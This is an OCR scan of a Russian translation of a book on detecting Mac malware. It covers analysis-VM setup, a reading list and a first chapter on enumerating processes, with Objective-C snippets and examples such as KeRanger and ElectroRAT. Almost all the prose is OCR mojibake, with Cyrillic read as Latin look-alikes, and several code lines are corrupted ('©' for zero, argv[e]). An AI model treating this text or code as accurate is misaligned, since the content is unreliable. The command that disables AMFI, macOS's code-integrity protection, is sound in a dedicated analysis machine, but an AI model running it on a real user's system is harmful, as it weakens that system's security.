nvram boot-args="amfi_get_out_of_my_way=1"

VMcnonb3yinte nvram -p, YToObl yOeanTbCs, YTO apryMeHTbl 3arpy3ku 3agaHbl NpaBunbHO. 3aTtem
nepesarpysmTecs.

CTounT NogYEpKHYTb, YTO OTKIIOYEHME 3TUX MexaHn3MoB 6e3onacHocT macOS 3HauYMTENbHO CHUXaeT
6e3onacHocTb cuctembl. [oaToMy nydlle Aenatb 3TO TOMbKO BHYTPU BUPTYanbHOW MaLlUMHBI MU Ha
BblAENEeHHON TECTOBOM MalumHe And pa3paboTku. Ytobbl cHoBa BknoumTh SIP B Recovery Mode,
BbINonHUTE csrutil enable, a yTo6bI CHOBa BkMOUMTL AMFI, yoanuTte apryMeHTbl 3arpy3ku KOMaHgom
nvram -d boot-args.

Be3sonacHbI aHanu3 BpegoHOCHbLIX NporpaMm

3OTa KHUra eMOHCTPUPYET MHOXECTBO NPOrpaMMHbIX MPUEMOB OGHAPYXeHWS BPEAOHOCHbBIX NPorpamMm
ana Mac. B 3akntoumTenbHON raBe KHUMM Bbl AaXke CMOXeTe CrieloBaTb 3a HaMu, Koraa Mbl Oyaem
NPOTUBOMNOCTABNATL HALUN MHCTPYMEHTbI pas3nMyHbiM 06Gpasliam BpedoHOCHbLIX NporpaMM. Ecniu Bbl
nnaHupyeTe 3anyckaTb parMeHTbl Koga U3 KHUMM UK co3gaBaTb U TECTUPOBaTb COGCTBEHHbIE
WHCTPYMEHTBI Ha 3TUX BPeOOHOCHbLIX NMporpaMmax, obpatiaiTech ¢ 06pasLaMm MakCMManbHO OCTOPOXKHO.

OavH 13 noaxonoB K aHanu3y Bpe4oHOCHbIX MPOrpaMm - UCMOMb30BaTh OTAEMbHbIN KOMMNbIOTEP Kak
BbIOENEHHYIO aHaNUTUYECKYHO MaLLMHY. Takyto MalnHy cnegyet HacTPOUTb MakCUMasnbHO MUHMMArbHO,
OTKNIOYMB cny>6bl Bpoae obLiero gocTyna K hamnam. Yto kacaeTcsa cetun, 60nbLUMHCTBY BPEAOHOCHbIX
nporpamm Ans NosIHOLEHHOW paboTbl NoTpebyeTcs 4OCTYN B MHTEPHET, HanpuMep AN CBA3n C
KOMaHOHO-YNpaBsoLwMM CEPBEPOM U MOJTyYEHMS 3a4aHUA, NO3TOMY BaM ClegyeT TEM UMK UHBIM
06pa3oM NOAKMYNUTL MAaLLMHY K ceTU. Kak MMHUMYM 51 pEKOMEHAYI0 HanpasnaTb ceTeBon Tpaduk yepes
VPN, 4To6bl CKpbITb CBOE MECTOMOJIOXEHNE OT N0OOro atakyrLero, KOTOpbI MOXET HAXOAUTLCS Ha
OpYyron CTOpoHe.

OpaHako ucnonb3oBaHWe oTAeNbHOro KOMMNbOTEPa ONA aHann3a nMmeeT HegoCTaTKn, BKIno4Yada CTOMMOCTb
N cnoXHocTb. NocnegHss ctaHOBUTCA OCOOEHHO 3aMETHOW, €CINN Bbl XOTUTE BEPHYTb aHalMMTU4eCKYyto



CUCTEMY K YNCTOMY 6a30BOMY COCTOSIHMIO, Hanpumep 4YTobbl MOBTOPHO 3anycTuTbL obpasel, 1nm
aHanuampoBaTb HOBbIV 06paseL,. XoTs MOXHO NepeyCTaHOBUTL ONepaLMoHHY0 CUCTEMY UIK, NPpU
ncnonb3oBaHun Apple File System (APFS), BepHyTbCcs kK 6a30BOMY CHMMKY, 06a BapuaHTa TpebytoT MHOro
BPEMEHW.

UTobbl YCTpaHWUTb 3TV HEQOCTaTKM, BMECTO 3TOr0 MOXHO MCNOMb30BaTh BUPTYarbHYO MallvHy B
KayecTBe cucteMbl aHanusa. PasnnyHele komnaHun, Takme kak VMware u Parallels, npegnaratot
BapuwaHTbl BupTyanusauum ans cuctem macOS. Nges npocTa: BUpTyanvM3npoBaTh HOBbIM 3K3eMMsp
onepaunoHHON CUCTEMBI, KOTOPLIN MOXHO U30MNMpoBaTh OT 6a3oBoW cpefpbl U, YTO 0COBEHHO BaXXHO,
BEPHYTb K UICXOAHOMY COCTOSIHUIO OOHUM LLEeNYKoM. YToObl yCTAaHOBUTL HOBYIO BUPTYarbHYHO MaLUuHY,
crnegyvite MHCTPYKUUSAM KOHKPETHOro nocTtaBLuka. OBbIMHO 3TO BKIIHOYAET 3arpy3Ky yCTaHOBLLMKA MINn
OBHOBIEHNSI ONEPALMOHHON CUCTEMBI, MEPETAcKUBaHNE €ro B NporpamMmmy BUpTyanu3aumm u 3atem
NPOXOXAEeHNe OCTaBLUNXCS LUAaroB HACTPOWKMU.

MpumeuaHue. K coxaneHuto, cuctemsl Apple Silicon MMeOT orpaHn4eHus B TOM, YTO KacaeTcsl
Buptyanusaunm macOS. MNMocTaBwukn Bpoae Parallels npegoctaBnsitoT rotoBble BUPTYarnbHble
MaLLVHbl, coBmecTuMble ¢ Apple Silicon, HO noka He NogAepXMNBatoT TakMe BO3MOXHOCTU, Kak
shapshots.

Mepea BbiNoNHeHMeEM Ntoboro aHanmsa ob6s3aTensHO OTKYMTE NGON OBLWMIA AOCTYN MEXay
BMpTyanbHoOM MalunHon n 6asoBor cuctemoin. Hanpumep, 6bino 6bl KpalHe HENPUATHO 3anyCTUTb
obpasel, ransomware 1 obHapyxuTb, YTO OH Takke 3alumngposan Bce obLme annbl Ha BaLlen XOCTOBON
cucteme. BupTyanbHble MalnHbl Takke NpegnaraloT BapuaHTbl CeTH, Takne kak host-only n bridged.
MepBbI BapuaHT pa3peluaeT ceTeBble COEANHEHWUS UCKITIOYUTENBHO C XOCTOM, YTO MOXET ObITb NOMe3Ho
B pasHbIX CUTyaUUsiX aHanm3a, Hanpumep Npy HaCTPOMKE NOKanbHOro KOMaHAHO-yNPaBAsoLWEero
cepsepa.

A oTMedan, YTo BO3MOXHOCTb BEPHYTb BUPTyaribHYH MALUMHY K MICXOOHOMY COCTOSHMIO MOXET
3HaAYMTENBHO YCKOPUTL aHanM3 BPe4OHOCHbIX MporpamMm, No3Bonsis BO3BpaLLaTbcs K 6onee paHHUM
3Tanam npovecca aHanunsa. Bceraa genante snapshot nepen Hayanom aHanusa, 4tobbl nocne
3aBepLUEHUS BEPHYTb BUPTYaribHY MaLUUHY K 3aB€4OMO YNCTOMY COCTOSIHMIO. Bo Bpems ceaHca
aHanuaa Takke cnegyeTt pa3yMHO UCMONb3oBaTh snapshots. Hanpumep, caenante snapshot
HenocpeaCcTBEHHO Nepes TeM, Kak pas3peLLmnTb BpeJOHOCHON NporpaMme BbINONMHUTL HEKOTOPYHO
KntoveByto noruky. Ecnvm BpegoHocHas nporpaMmma He BbIMOMHUT OXUaaeMoe OENCTBUE, BO3MOXHO
noTomy, 4To obHapyxuna oavH U3 Ballux UHCTPYMEHTOB aHan13a 1 NpexaeBpeMeHHO 3aBepLunnach, Unm
€Cnn BalUM MHCTPYMEHTbI aHanu3a He cobepyT AaHHble, HeobxoauMble ANsa aHanmsa, NPOCTO BEPHUTECH K
snapshot, BHecuTe HeobxoouMbIE N3MEHEHNST B Cpefly aHanv3a UM MHCTPYMEHTLI, a 3aTeM paspeLunTe
BPEAOHOCHOW NporpamMmmMe BbIMOMHUTLCSA CHOBA. Ha BblAeNeHHbIX aHaNUTUYECKMX MallMHaxX unm
BUPTYyanbHbIX MallnHax, He noaaepxmBatomnx snapshots, cHumkn APFS, BeposiTHO, ByayT nyyiimm
BapVaHTOM.

[MaBHbLIN HeJOCTATOK NoAX0A4a C BUPTYanbHOW MaLllMHOW COCTOUT B TOM, YTO Bpe4OHOCHas nporpaMmma
MOXET coflepxaTb NOornky Ans NnpoTMBOAEeNCTBUSA BUPTYarnbHbIM MalumMHaM. Ecnun BpegoHocHas
nporpaMma ycrneLiHo onpeaernuT, YTO OHa BbINOSIHAETCH B BUPTyanu3npoBaHHOW cpee, OHa 4acTo
3aBepLUMTCS, NbiTascb n3bexartb ganbHenwero aHanusa. lNogxoabl Kk BbISBNEHNO 1 00X04y TaKoW NOrvKu
cM. B rnaBse 9 kHuru The Art of Mac Malware, Volume 1.

JononHutenbHble CBEAEHNSI O HACTPOWNKE cpebl aHann3a, BKIKYas KOHKPETHbIE Lwaru no KoHurypaumm
N30NMPOBaHHON BUPTYyanbHON MallnHbl, cM. B Matepuane duna Ctoykca How to Reverse Malware on
macOS Without Getting Infected. 71



dononHutenbHble pecypcCbl

[nsa ganbHenLWero YTeHs 9 peKoMeHayo creayoLme pecypebl.

KHurun

B cnepytowiem cnvcke npuBeneHbl HEKOTOPbIE U3 MOUX NIIOBUMBIX KHUT MO TakMM Temam, Kak obpaTHas
paspaboTka, BHyTpeHHee yCcTporncTBo macOS 1 0bLwun aHann3 Bpe4oHOCHbIX NporpamMm. XoTd
HEKOTOpbIE U3 3TUX KHUT yXKe CTapble, 6a30Bble TEMbl PEBEPCUHIa U aHanmsa SOIMKHbl OcTaBaTbCs
BHEBPEMEHHbLIMMU.

* Blue Fox: Arm Assembly Internals and Reverse Engineering, Maria Markstedter (Wiley, 2023)

» x86 Software Reverse-Engineering, Cracking, and Counter-Measures, Stephanie and Christopher
Domas (Wiley, 2024)

* Tpunorua The macOS/iOS (*OS) Internals, Jonathan Levin (Technologeeks Press, 2017)

» The Art of Computer Virus Research and Defense, Péter Szor (Addison-Wesley Professional, 2005)

* Reversing: Secrets of Reverse Engineering, Eldad Eilam (Wiley, 2005)

» OS X Incident Response: Scripting and Analysis, Jaron Bradley (Syngress, 2016)

Beb-canTtbl

PaHbLue nHdopmaumm o6 aHanuse BpedOHOCHbIX NporpaMm ans Mac B UHTepHeTe kaTtacTpoduieckn He
xBartano. CerogHsa cuTyaums 3HaunTenbHO ynyywunace. Heckonbko Beb-canTos cobupatoT cBeaeHns no
aToun Teme, a 6rorvn Bpoge moero cobcTBeHHOro Ha cante Objective-See nocBsALLeHbI BOnpocam
6esonacHocTn Mac. Hwke npvBeaeH HEMOMHbIN CMMCOK HEKOTOPbLIX MOUX NIOBUMbIX PeCypCoB:

* https://papers.put.as: 4OBOMbHO MCHEPNBIBAIOLLNIA apXMB CTaTeN U Npe3eHTaL M No Temam
©esonacHocTn macOS 1 aHanu3a BpeAOHOCHLIX NPOrpamMm

* https://themittenmac.com: cant nssectHoro nccnegoBatens 6esonacHocTn macOS u aBTopa [kapoHa
Bpagnu, BKNtoYaoLWUn MHCTPYMEHTLI pearmpoBaHnst Ha UHLUMOEHTbI U 3HAaHWUSI NO MOUCKY yrpo3 Ans
macOS

* https://objective-see.org/blog.html: Mol 6nor, KOTopbI HA NPOTSXKEHUN NOCNEQHErO OECATUNETUSA
nyGrnvKkyeT MOM UccnegoBaHnst U UCCNeaoBaHMs Konner no TeMam Bpe4oHOCHbIX nporpamm macOS,
3KCMIONTOB U MHOIOro Apyroro
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naBa 1. UccnepoBaHue npoueccos

Mopaenstollee GONbLUMHCTBO BPEAOHOCHbIX MporpaMm ans Mac BbINOMHAETCS Kak CaMOCTOSITENbHbIE
npoLiecchbl, MOCTOsIHHO paboTatoLme Ha 3apaXXeHHbIX cuctemax. B pesynbTarte, ecnu Bel chopmmpyeTe
CMUCOK 3anyLLeHHbIX NPOLIECCOB, B HEM C BbICOKON BEPOATHOCTBIO OKaxKeTCs 1 nobasi BpegoHOCHas
nporpamma, npucyTcTBytolas B cucteme. Noatomy, korga Bbl NbiTaeTeCcb NpOrpammMmHoO 06HapyXmnBaTb
BpeAOHOCHbIE nporpammbl macOS, HauMHaTb cnegyeT ¢ UCCrefoBaHNa NPoLeccoB. B aTol rnaee mbl
cHavarna obcyamm pasnuyHble METOAbl MepPeYnCieHnNs 3anyLLeHHbIX NMPOLEeCCoB. 3aTeM Mbl MPOrPaMMHO
N3BIEeYEM pasnmnyHyto MHAOPMaLMIO U MeTagaHHbIE O KaXKAO0M 3anyLLEHHOM Mpouecce, YTobbl BhISBMATh
aHoMarnum, 4acTo CBsI3aHHble C BPEAOHOCHLIMM NporpamMmmamMu. Takas nHpopmaumst MOXeT BKIOYaTb
MOMHbIA NYyTb, aPryMEHTbI, apXUTEKTYPY, NPOLIECC, MePapX1I0, CBEAEHUSA O NOAMNUCK KOAa, 3arpyXeHHble
BMBnMoTeKn, OTKpbITbIE halnbl U MHOTOE ApPYroe.

PasymeeTcs, cam pakT Toro, 4To BpeAOHOCHbI NPOLIECC NOSABISETCS B CMMCKe, eLle He NO3BOSsieET cpasy
onpenenuTb, YTO 3TOT NPOLLECC AENCTBUTENBHO BPEAOHOCHBIN. OTO CTaHOBUTCSA BCe Honee BEPHbIM MO
Mepe TOro, kak aBTOPbl BPEAOHOCHbBIX NPOrpamMM CTPEMATCS MackMpoBaTb CBOU BPeOOHOCHbLIE TBOPEHUS
noa 6e3o06uaHble.

BonblWMHCTBO hparMeHTOB kofa, NPeacTaBMNEHHbIX B 3TOW MaBe, B3siTbl M3 MPOEKTa
enumerateProcesses, Kog KOTOPOro MOXHo 3arpy3ntb u3 GitHub-penoautopus aton kHurn. MNpu 3anycke
6©e3 apryMeHTOB 3TOT MHCTPYMEHT BbIBOAUT CBeAeHns 060 Bcex 3anyLeHHbIX NpoLeccax B Ballen
cucTeme; Npu 3anycke ¢ aeHTUgMKaTopom nNpoLecca oH nony4vaeT cBeaeHns 06 ykazaHHOM npoLiecce.
YUTto6bl onpawwmnBaTth NpoLIECC, YPOBHM MPUBUIETNIA BaLLEro BbIMNOMHAEMOro Koda OOSDKHbI
COOTBETCTBOBATb YPOBHSM LIENEBOro NpoLecca Unn NpeBOCXOANTb MX, MO3TOMY Takue MHCTPYMEHTHI
6e3onacHOCTM YacTo 3anycKalTcsa ¢ NpuMBUIErusMin root.

MNMepeuncneHne npoueccos

Cawmbin npocTor cnocob nepevncnuTb Bce npouecckl B macOS - ncnonesosate APl 1ibproc, Takue kak
proc_listallpids. Kak cnegyet ns Ha3BaHus, 3ToT APl npegoctaenseT Cnncok, cogepalymm
naeHTudmkatop npouecca (pid) kaxgoro 3anyLeHHoro npowecca. B kayectBe aprymeHToB OH
nNpuHUMaEeT BbIxogHON Bydep n pasmep atoro bydepa. OH 3anonHaeT bydep naeHTMpukaTtopamm
NpOLEeCCOB BCEX 3anyLLEeHHbIX MPOLIECCOB 1 BO3BPaLLaeT KONIMYECTBO 3anyLLeHHbIX NPOLEeCCOB.

Kak y3HaTb, Kakoro pasmepa oJmkeH ObiTk BbixogHow Oydep? OgHa cTpaTermsi COCTOMT B TOM, YTOObI
cHavarna Bbi3BaTb APl c aprymeHTamm NULL 1 ©. 3T0 3acTaBuT (PyHKLUMIO BEPHYTb KONIMYECTBO NPOLIECCOB,
3anyLLEHHbIX B AaHHbIA MOMEHT, 1 3aTEM 3TO YMNCINO MOXHO UCMONb30BaTh ANs BblaeneHus dydepa npu
nocriegyoLwmx BbidoBax. OgHaKo ecnv B cepeguHe 3Toro AencTeust ByaeTt nopoxaeH HoBbIN npouecc, API
MOXET He BEPHYTb ero naeHTUduKaTop npolecca.

lMoaTomy nydLle NpocTo Bbiaenutb bydep, CNOCOOHbIN BMECTUTb MaKCUManbHO BO3MOXHOE YMCIIOo
3anyLeHHbIX npoueccoB. CoBpeMeHHble Bepcn macOS 0ObluHO MOTYT coaepKaTb HECKOSbKO ThICAY
NpOLECCOB, HO 3TO YUCIO MOXET ObITb 60MbLUE UNN MEHbLLE B 32aBUCMMOCTMN OT XapaKTePUCTUK CUCTEMBI.
M3-3a Takon BapmaTMBHOCTM BaM noTpebyeTcs AMHaMUYeCKn Nony4mTb 3TO MakCMMarnbHOe Y1Cro 13
cucTeMHon nepemeHHon kern.maxproc Yepes APIl sysctlbyname (nuctuHr 1-1).

#import <libproc.h>
#import <sys/sysctl.h>

int32_t processesCount = 0;

size_t length = sizeof(processesCount);
sysctlbyname("kern.maxproc", &processesCount, &length, NULL, ©);

10



nMCTMHF1-1ZﬂMHaMMHeCKOGﬂOﬂyHeHMeIMaKCMMaﬂbHOﬂ)KOHMHeCTBa3aﬂWMeHHHXﬂp0ueCCOB

Tenepb, Korga y Hac ecTb MakcUMarnbHOE BO3MOXHOE KONMYECTBO 3anyLLeHHbIX NPOLECCOB, Mbl MPOCTO
Bbiaensiem 6ycdep Takoro pasmepa, yMHOXEHHOIO Ha pa3Mep Kaxaoro naeHTudmkaTopa npowecca.
3arem Bbi3biBaeM yHKUMIO proc_listallpids (nmctuHr 1-2).

pid_t* pids = calloc((unsigned long)processesCount, sizeof(pid_t));
processesCount = proc_listallpids(pids, processesCount*sizeof(pid_t));

JInctuhr 1-2: dopmmnpoBaHme cnmcka naeHTMUKaTopoB NPOLLECCOB A1 3anyLUeHHbIX NPOoLeccoB

Tenepb MOXHO 000aBUTb onepaTtopbl neYvaTun, a 3aTeM BbINOJTHUTb 3TOT KOA:

% ./enumerateProcesses
Found 450 running processes
PIDs: (

53355,

53354,

53348,

517,

515,

514,

El

- o r

Kog gomkeH BepHYTb CMIMCOK, COAeXaLLMn naeHTUdMKaTOPbI MPOLLECCOB BCEX 3anyLLUEHHbIX MPOLECCOB,
KaK BMOHO U3 3TOro 3anycka npoekra enumerateProcesses.

ToKeHbl ayauTa

XOoTs ngeHTnduKaTopbl NPOLIECCOB NCMONb3YTCS B MacluTabax Bcel cuctembl s naeHtudmkaumm
npoLleccoB, NOCne 3aBepLUeHUs NpoLiecca OHU MOTYT ObITb MCMOMb30BaHbl MOBTOPHO. OTO NPUBOAMUT K
COCTOSIHMIO FOHKM, NPW KOTOPOM naeHTndmkaTop npouecca 6orblue He CCbiflaeTCs Ha UCXOAHBIN NpoLLecc.
PelueHne npobneMbl FOHKM MAEHTMUKATOPOB MPOLLECCOB COCTOUT B UCMOMb30BaHMM TOKEHA ayanTa
npoLiecca - yHUKanbHOro 3HayeHusi, KoTopoe HUKoraa He UCNoMb3yeTcst NOBTOPHO. B nocneaytoLmx
rnaeax Bbl yBuaguTe, 4to macOS nHorga Hanpsamyto NnpegocTaBnsaeT BaM TOKEH ayauTa, Hanpumep Koraa
npoLecc NbITaeTCcs NOAKMYNTLCA K yAaneHHON KoHevHow Tovke XPC unu B coobuieHun ot Endpoint
Security. OgHako ToKeH ayauTa npoLecca MOXHO NOonyyYnTb U HANPSAMY 13 NPOU3BOSBHOMO NpoLecca.

Kop ang nonyyeHus TokeHa ayguTa HaxoauTcs B OyHKLMK ¢ MMeHeM getAuditToken B npoekTe
enumerateProcesses. Nonyyns ngeHtTudmkaTop npoLecca, ata PyHKLMS Bo3BpaLlaeT ero ToKeH ayanta
(nmucTuHr 1-3).

NSData* getAuditToken(pid_t pid) {
task_name_t task = {0};
audit_token_t token = {0@};
mach_msg_type_number_t infoSize = TASK_AUDIT_TOKEN_COUNT;
task_name_for_pid(mach_task_self(), pid, &task);

task_info(task, TASK_AUDIT_TOKEN, (integer_t*)&token, &infoSize);

return [NSData dataWithBytes:&token length:sizeof(audit_token_t)];
}

JlnctnHr 1-3: MNMonyyeHue TokeHa ayauTa Ans npouecca
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CHavana dyHkuns obbsaBnsieT HeobxoauMble NepemMeHHble, BKIYas nepeMeHHyto Tuna audit_token_t
ONSA XpaHeHus TokeHa ayauTa. 3atem oHa Bbl3biBaeT AP| task_name_for_pid, 4ToBbl nonyyuntb
Mach-3agayy ans ykasaHHOro npouecca. 31a 3agava Hy)kHa ans Bbi3oBa task_info, kOToOpbI 3anNONHUT
nepeaaHHy NepeMeHHy0 TOKEHOM ayauTa npouecca. HakoHeu, TokeH ayauta npeobpasyeTcs B 6onee
yAO6HbIN 0BBLEKT AaHHLIX 1 BO3BPALLAETCH Bbi3biBalOLLEMY KOAY. 1]

Pa3symeeTcsi, Cnncok naeHTMUKaTOPOB NPOLLECCOB UMM TOKEHOB ayanTa He CKaXKeT BaM, Kakne u3 HuX,
€CInu Takne ecTb, SBNSATCS BpeAOHOCHLIMU. TeM He MeHee Ternepb MOXHO U3BfeYb OFPOMHOE
KONMMYECTBO LieHHOW MHbopMaLuun. Creayrowmnin pa3aen HauMHaeTcsl ¢ NPOCTOro: Nosy4YeHMs MOSTHOro
nyTu Ansi KaXgoro npouecca.

NMyTy n umeHa

OpawvH npocTor cnoco® HanTK NOMHBINA NYTb NpoLecca No ero ngeHTndrkaTopy NpoLecca - NCNosb30BaTh
API proc_pidpath. 3toT API npyHMmMaeT ngeHTndukaTop npouecca, BbIXogHON 6ydep Ansa nytm un
pasmep 6ydepa. KoHcTtaHTy PROC_PIDPATHINFO_MAXSIZE MOXHO UCMOMb30BaTb, YTOObI rapaHTUpOBaTh,
4yTO Bydhep AOCTATOYHO BEMUK A5l XPaHEHUS MYTU, KaK MOKa3aHo B NIMCTUHre 1-4.

char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
proc_pidpath(pid, path, PROC_PIDPATHINFO_MAXSIZE);

JlnctuHr 1-4: MNony4veHne nyTn npouecca

CyLlecTByHOT 1 Apyrve cnocobbl NonyyYnTb MNyTh NPOLECCa, HEKOTOPLIE U3 KOTOPLIX HE TPebyoT
naeHTUdMKaTopa npouecca. AnbTepHaTVMBHbIN NOAX0A Mbl PACCMOTPUM B InaBe 3, MOCKONbKY AN Hero
HY)>KHO MOHMMAaTb PasfNyHble MOHATUS, CBSAA3aHHbIE C MOANUCHIO Koaa.

Mony4unB nyTb NpoLecca, ero MOXHO MCMNOMNb30BaTh AN BbINOMHEHNS PasfMyHbIX MPOBEPOK, MOMOratoLLmX
onpenenuTb, SBNSETCHA N NPoLLeCC BPeAOHOCHbBIM. 3TN NPOBEPKM MOTYT BapbupoBaTbCH OT
TpUBMAnbHbIX, HaNPUMep NPOBEPKU TOrO, COAEPXKMUT NN MYTb CKPbITblE KOMMOHEHTHI, 40 6onee CroXHbIX,
Hanpumep rnyboKoro aHanMsa ABOMYHOro dpanna, ykasaHHoro B nytu. B aTow rmaBe paccmaTtpmBatloTcs
CKPbITbI€ KOMMOHEHTbI MyTK, a creayloLlas rnasa norpyxaeTcs B NOMHOLIEHHbIN aHann3 ABOUYHbIX
dannos.

BbisiBneHue cKpbITbIX hannos u KaTtanoros

VHdopmaumsa n3 nyTm MOXET HanpsaMyo packpbiBaTb aHoManuu. Hanpumep, NyTb, CoaepKaLLmi
KOMMOHEHT KaTanora unu tpanna, HaunHawLWMNCs € TOYKM (. ), MO yMonyaHuio 6yaeTt CKpbIT B
Nnosib3oBaTeSNIbCKOM NHTEpence 1 OT pasnUYHbIX NHCTPYMEHTOB KOMaHAHOW CTPOKK. PasymeeTcs,
CYLLECTBYIOT CMocobbl NPOCMaTpUBaTh CKPbITble 0OBEKTLI, HAMPUMEP C MOMOLLILIO KOMaHAbI 1s,
BbINOSTHEHHOW € chnarom -a. C TOYKU 3peHUsi BPEAOHOCHOW MporpamMMbl OCTaBaTbCs CKPbITOM - XOPOLLIO.
OpHako 3TO CTaHOBUTCS MOLLIHOM 3BPUCTUKON 0BHapYXeHMs, NOCKONbKy 6€300MaHbIe NpoLeCcChl peako
ObIBAIOT CKPbITLIMMU.
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CyLLI,eCTByeT MHOXECTBO NpnMepoB BpeAOHOCHbIX nporpamMmm ansa Mac, KOTOpPbI€ BbIMOJTHAKTCA N3
CKPbITbIX KaTalloroB nUnn camm ABnATCA CKPbITbIMUA. Hanpvnmep, nMMnNnNaHT ana Km6ep|.unv|0Ha>Ka,
n3BecTHbIN kak DazzleSpy, 2l obHapyXeHHbIn B Hadane 2022 rofa, NOCTOSAHHO yCTaHaBnMBaeT cebs kak
OBOWYHbIN hann ¢ nmeHeM softwareupdate B CKpbITOM KaTanore ¢ umeHeMm .local. B cnucke
HpoueCCOBGTOTKaTaHOF6pOC86TCﬂ B rnasa.

% ./enumerateProcesses

Found 450 running processes

(57312):/Applications/Signal.app/Contents/Mac0S/Signal

(41461) : /Applications/Safari.app/Contents/Mac0S/Safari

(40214):/Users/User/.local/softwareupdate

(29853) : /System/Applications/Messages.app/Contents/Mac0S/Messages
(11242):/System/Library/CoreServices/Dock.app/Contents/Mac0S/Dock

&éé4):/usr/libexec/UserEventAgent

(1):/sbin/launchd
KoHeuHo, ntobown aBpuctuyecknii noaxos Hem3bexHo 6yaeT nMeTb NoxHble cpabaTbiBaHUSA, U BpEMS OT
BpeMeHun Bbl byaeTe BcTpeyaTb nerntumHoe N0, KkoTopoe ckpbiBaeT cebsi. Hanpumep, Mo rpagouyeckmin
nnaHweT Wacom co3faeT cKpbITbl kaTanor . Tablet, U3 KOTOPOro NOCTOAHHO 3anyckaeT pasnuyHble
nporpammei.

Mony4yeHue nyTen yaaneHHbIX ABOUYHbIX (hannoB

B macOS HuuTO He MelwaeT npoueccy yaanuTb ABOUYHBIN dhaiin Ha AUCKe, KOTOPbLIN NIEXUT B ero OCHOBE.
ABTOpbI Bpe4OHOCHBIX NpOorpamMm 3HatoT 06 3TON BO3MOXHOCTM U MOTYT co3faTb nporpammy, Kotopasi
CaMOYHUYTOXAeTCs, CKPbITHO yAanss CBOW ABOUYHbIA dhann 13 annoBon CUCTEMBI, YTODbI CKPbITbCS OT
darnoBbIX CKAHEPOB U TEM CaMbIM YCITOXHUTL aHanua. [pyMmep Takoro aHomMarnsHOro NoBeAeHNss MOXHO
yBUAETb B BPEAOHOCHbIX Nporpammax ansa Mac, Takux kak KeRanger n NukeSped, nocnegHsasa n3 Kotopbix
ncnomnb3oBanach B nevanbHO M3BECTHOW aTake Ha Lenoyky noctaBok 3CX. [3]

PaccmoTtprm KeRanger nogpobHee. 310 ransomware, eAMHCTBEHHAs LieNb KOTOPOro - 3awmdpoBaTb
dhavinbl xepTBbl U NoTpeboBaTh BbIKyM. [Tockonbky oba AeCTBUS BbINMOMHAKTCA 32 OAMH 3anyck
npouecca, emy He HY)XXHO COXPaHATb CBOW ABOWMYHbLIN hann nocne 3anycka. Ecnv nocmoTpeTs Ha
AnsaccembnvpoBaHue ero pyHkuMM main, MOXHO yBuaeTb, 4To nepeoe gencteme KeRanger - yganutb
cebs yepes BbI3oB APl unlink:

int main(int argc, const char* argv[]) {
unlink(argv[e]);

Ecnun nHctpymeHT 6e3onacHocTu nonydvaet uaeHTudukaTop npouecca KeRanger, BOSMOXHO MOTOMY, YTO
OencTeust ransomware cpaboTanu Kak aBpucTtrka obHapyxeHusi, APl BocCTaHOBNEHUSA MyTH, TaKNe Kak
proc_pidpath n SecCodeCopyPath, 3aBepliatcsa Heygaden. NepBbin 13 aTux API, KOTOpPbIN 0ObIYHO
BO3BpaLlaeT ASIMHY NyTW npouecca, B AaHHOM Crlydae BEPHET HOJb C errno, yCTaHOBIEeHHbIM B ENOENT,
Torga kak SecCodeCopyPath Hanpsimyto BepHEeT kPOSIXErrorENOENT. OTO ckaXeT BaM, YTO ABOUNYHbIV
davin npouecca Obin yganeH, 4To camo no cebe ABNSEeTCA TPEBOXHBIM NPU3HAKOM, MOCKOMbKY
6e3obuaHble npouecchl 06bI4HO He yaansaT camu cebs.

Ecnun Bbl BCe e X0TUTE BOCCTAHOBUTL NYTb yKe YAaneHHOro ABOUYHOro harina, Balluym BO3MOXHOCTH, K
coXarneHuto, A0BOISIbHO orpaHudeHbl. O4uH NOAXOA - U3BMeYb MyTh HAMNPSIMYI0 U3 apryMeHTOB npouecca.
Mbl BCKOpe paccMoOTpuM 3TOT BapuaHT B pasaene «AprymeHTbl npouecca» Ha cTpanuue 9. OgHako ctout
OTMETUTb, YTO NOCNEe 3arnycka npoLecca HAYTO He MeLLaeT eMy U3BMEHUTb CBOU apryMeHThbl, BKoyas
CBOM NyTb. [109TOMY BOCCTAHOBMEHHbIN MYTb MOT ObITb CKPLITHO M3MEHEH TakK, YTo 6onblue He yKka3biBaeT
Ha CaMOYHUYTOXMBLUMACA OBOUYHbIV dhans.
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NMpoBepka MMeH npoueccoB

ABTOpPbI BPEAOHOCHBIX NPOrpamMmm 3HakT, YTO UX BPEAOHOCHbIE NPOrpamMmmMbl NMOSIBATCA BO BCTPOEHHOM
Activity Monitor ot Apple, rae gaxe obbl4HbIA NONb30BaTENb MOXET HAaTKHYTLCS Ha 3apa)keHue, NPoCTo
3amMeTuB CTpaHHOe MMsi npolecca. [1oaToMy BpegoHOCHbIE Nporpammbl Ansa Mac 4yacTto nbiTaloTcs
MacKMpoBaTbCs NGO Noj OCHOBHbIE KOMMOHEHTLI MacOS, nMbo nog nonynsapHoe ctopoHHee [M0O.
MpounniocTpypyem aTo ABYMS NpUMEpPaMMU.

O6HapyxeHHbIn B Havyane 2021 roga ElectroRAT - 3T0 MHCTPYMEHT yaaneHHoro gocrtyna (remote access
tool, RAT), HaueneHHbI Ha NoONb3oBaTENEeN KPUMTOBAIIOT. [l O nbITaeTcs cnuTbea ¢ OKPYXXEHMEM,
Ha3biBasa cebsi .mdworker. B ctapbix Bepcusix macOS 4acTo MOXHO Obifo HANTN HECKOMBKO NErMTUMHbIX
3k3eMnnsapoB paboyero npouecca cepepa metagaHHbix Apple (mdworker). BpegoHocHas nporpamma
MOXET MCMNOJNb30BaThb 3TO e NMsI, YTOObI HE Bbi3BaTb NOAO3PEHWI, NO KpariHen Mmepe y 06bI4HOro
nonb3oBaTens.

K cyacTbto, Bnarogaps nognucu koga, Kotopasi KpaTko obeyxaaeTcs ganee B 3701 rnase n nogpobHo B
rnaee 3, MOXHO MPOBEPUTb, COOTBETCTBYET N MHAOpMaLmMsa O NoANMCK KoAa npolecca ero
npegnonaraemomy co3gartento. Hanpumep, nerko obHapyxuTb, YTO ABOVYHBIN dhann .mdworker y
ElectroRAT nogo3sputeneH. Bo-nepsbix, OH He nognucaHn Apple, a 3HaunT, He Obin co3aaH
paspabotynkamm n3 KyneptnHo. [BonYHbIN harin, MMsa KOTOPOro CoBnagaeT C MMEHEM XOpPOLLO
n3secTHoro npouecca macOS, HO KOTopbIN He NpuHagnexut Apple, ckopee Bcero siBnsieTcs
